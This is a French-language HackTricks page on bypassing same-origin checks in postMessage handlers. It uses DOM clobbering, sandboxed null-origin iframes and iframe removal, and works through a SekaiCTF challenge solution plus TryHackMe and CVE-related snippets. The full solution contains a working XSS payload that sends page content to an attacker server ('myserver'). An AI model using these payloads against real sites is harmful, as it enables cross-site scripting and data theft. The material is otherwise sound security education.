Bypassing SOP with Iframes - 2

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Iframes in SOP-2

Dans la solution pour ce challenge, @Strellic_ propose une méthode similaire à la section précédente. Examinons-la.

Dans ce challenge l’attaquant doit bypass ceci:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

S’il le fait, il peut envoyer un postmessage contenant du HTML qui sera écrit dans la page avec innerHTML sans assainissement (XSS).

La façon de contourner la première vérification consiste à faire en sorte que window.calc.contentWindow soit undefined et que e.source soit null :

  • window.calc.contentWindow est en fait document.getElementById("calc"). Vous pouvez écraser document.getElementById avec <img name=getElementById /> (notez que la Sanitizer API -ici- n’est pas configurée pour se protéger contre les attaques de DOM clobbering dans son état par défaut).
  • Par conséquent, vous pouvez écraser document.getElementById("calc") avec <img name=getElementById /><div id=calc></div>. Ensuite, window.calc sera undefined.
  • Maintenant, nous avons besoin que e.source soit undefined ou null (parce que == est utilisé au lieu de ===, null == undefined est True). Obtenir ceci est « facile ». Si vous créez un iframe et envoyez un postMessage depuis celui-ci puis supprimez immédiatement l’iframe, e.origin sera null. Regardez le code suivant
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

Pour contourner la deuxième vérification concernant token, il faut envoyer token avec la valeur null et faire en sorte que la valeur de window.token soit undefined :

  • Envoyer token dans le postMessage avec la valeur null est trivial.
  • window.token provient de l’appel de la fonction getCookie qui utilise document.cookie. Notez que tout accès à document.cookie depuis des pages d’origine null déclenche une erreur. Cela fera que window.token aura la valeur undefined.

La solution finale par @terjanq est la suivante :

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

Une tâche récente de TryHackMe (“Vulnerable Codes”) démontre comment les popups OAuth peuvent être détournés lorsque l’opener se trouve à l’intérieur d’un sandboxed iframe qui n’autorise que les scripts et les popups. L’iframe sandboxed force à la fois lui-même et le popup dans une “null” origin, donc les handlers qui vérifient if (origin !== window.origin) return échouent silencieusement parce que window.origin à l’intérieur du popup est aussi "null". Même si le navigateur expose toujours le réel location.origin, la victim ne l’inspecte jamais, si bien que les attacker-controlled messages passent sans encombre.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Takeaways for abusing that setup:

  • Les handlers qui comparent origin avec window.origin à l’intérieur du popup peuvent être contournés car les deux s’évaluent à "null", donc les messages falsifiés semblent légitimes.
  • Les sandboxed iframes qui accordent allow-popups mais omettent allow-same-origin génèrent quand même des popups verrouillés sur l’origine null contrôlée par l’attaquant, vous donnant une enclave stable même dans les builds Chromium de 2025.

Source-nullification & frame-restriction bypasses

Des writeups de l’industrie autour de CVE-2024-49038 mettent en évidence deux primitives réutilisables pour cette page : (1) vous pouvez toujours interagir avec des pages qui définissent X-Frame-Options: DENY en les lançant via window.open et en postant des messages une fois que la navigation s’est stabilisée, et (2) vous pouvez brute-force les vérifications event.source == victimFrame en supprimant l’iframe immédiatement après l’envoi d’un message afin que le récepteur ne voie que null dans le handler.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

Combinez cela avec l’astuce DOM-clobbering ci-dessus : une fois que le récepteur ne voit plus que event.source === null, toute comparaison contre window.calc.contentWindow ou similaire s’effondre, vous permettant d’envoyer à nouveau des sinks HTML malveillants via innerHTML.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks